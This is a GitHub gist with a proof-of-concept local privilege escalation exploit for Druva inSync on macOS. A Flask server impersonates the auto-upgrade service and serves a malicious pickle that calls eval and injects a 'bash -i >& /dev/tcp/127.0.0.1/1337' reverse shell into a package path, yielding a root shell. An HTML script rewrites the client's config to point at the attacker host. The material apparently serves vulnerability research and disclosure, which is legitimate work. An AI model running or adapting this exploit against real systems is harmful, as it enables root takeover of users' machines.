Skip to content

Instantly share code, notes, and snippets.

@imhotepisinvisible
Last active July 11, 2022 00:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save imhotepisinvisible/61c5e83af471d56ddb2d1136eb7bd4b5 to your computer and use it in GitHub Desktop.
Save imhotepisinvisible/61c5e83af471d56ddb2d1136eb7bd4b5 to your computer and use it in GitHub Desktop.
Druva inSync for Mac Local Privilege Escalation via inSyncUpgradeDaemon

Local Privilege Escalation via inSyncUpgradeDaemon

To run:

  1. This attack needs to be hosted on a server using TLS and a valid certificate.
  2. Once the server is available, replace the instances of INSERT_SERVER_HOST in upgradeserver.py and pwn_upgradedaemon.sh with the server hostname
  3. Start the Flask server with FLASK_APP=upgradeserver.py python3 -m flask run
  4. The proof of concept opens a reverse shell as root to localhost. Start a listener in a new terminal with nc -l 1337
  5. Run ./pwn_upgradedaemon.sh
#!/bin/bash
/Applications/Druva\ inSync.app/Contents/Resources/inSync.app/Contents/MacOS/inSync @INSERT_SERVER_HOST main no_rfs
#!/usr/bin/env python3
# FLASK_APP=upgradeserver.py python3 -m flask run
import hashlib
import io
import pickle
import struct
from flask import Flask, request, send_file
app = Flask(__name__)
class Pickle:
def __reduce__(self):
revshell = "__import__('inSyncLib').inSyncRPCHelper.ConnectUpgradeTolerantDaemon(lambda *args, **kwargs: None).daemon.install_package('/tmp/'+str(__import__('time').time())+'\";bash -i >& /dev/tcp/127.0.0.1/1337 0>&1 #',str(__import__('os').makedirs('/tmp/'+str(__import__('time').time())+'\";bash -i >& /dev/tcp/127.0.0.1/1337 0>&1 #')))"
return eval, (revshell,)
pickled = pickle.dumps(Pickle(), protocol=2)
ipkg = b'iPKG' + struct.pack('<I', len(pickled)) + pickled
@app.route('/insync/clientautoupgrade/v1/user/device/checkupgrade', methods=['POST'])
def checkupgrade():
print(request.data)
return {
'status': '200',
'response': {
'Interval': '4.059444444444445',
'Url': 'https://0eab98fb2656d1.localhost.run/download',
'Checksum': hashlib.sha1(ipkg).hexdigest()
}
}
@app.route('/download')
def download():
return send_file(
io.BytesIO(ipkg),
download_name='download',
as_attachment=True,
mimetype='application/octet-stream'
)
@app.route('/insync/clientautoupgrade/v1/user/device/setupgradestarted', methods=['POST'])
def setupgradestarted():
print(request.data)
return {
'status': '200'
}
@app.route('/insync/clientautoupgrade/v1/user/device/addupgradeLog', methods=['POST'])
def addupgradeLog():
print(request.data)
return {
'status': '200'
}
@app.route('/insync/clientautoupgrade/v1/user/device/setupgradefailed', methods=['POST'])
def setupgradefailed():
print(request.data)
return {
'status': '200'
}
@app.route('/index.html')
def index():
return '''
<script>
const childprocess = require('child_process');
childprocess.execSync('killall inSyncUpgrade 2>/dev/null || true');
childprocess.execSync(`sed -i "" -e "/AUTOUPGRADE_SERVER_FQDN/ s/'.*'/'INSERT_SERVER_HOST'/" "$HOME/Library/Application Support/inSync/inSync.cfg"`);
childprocess.execSync(`echo "KEY = '123'" >> "$HOME/Library/Application Support/inSync/inSync.cfg"`);
childprocess.exec('"/Applications/Druva inSync.app/Contents/MacOS/inSyncUpgrade"');
</script>
Hello!
'''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment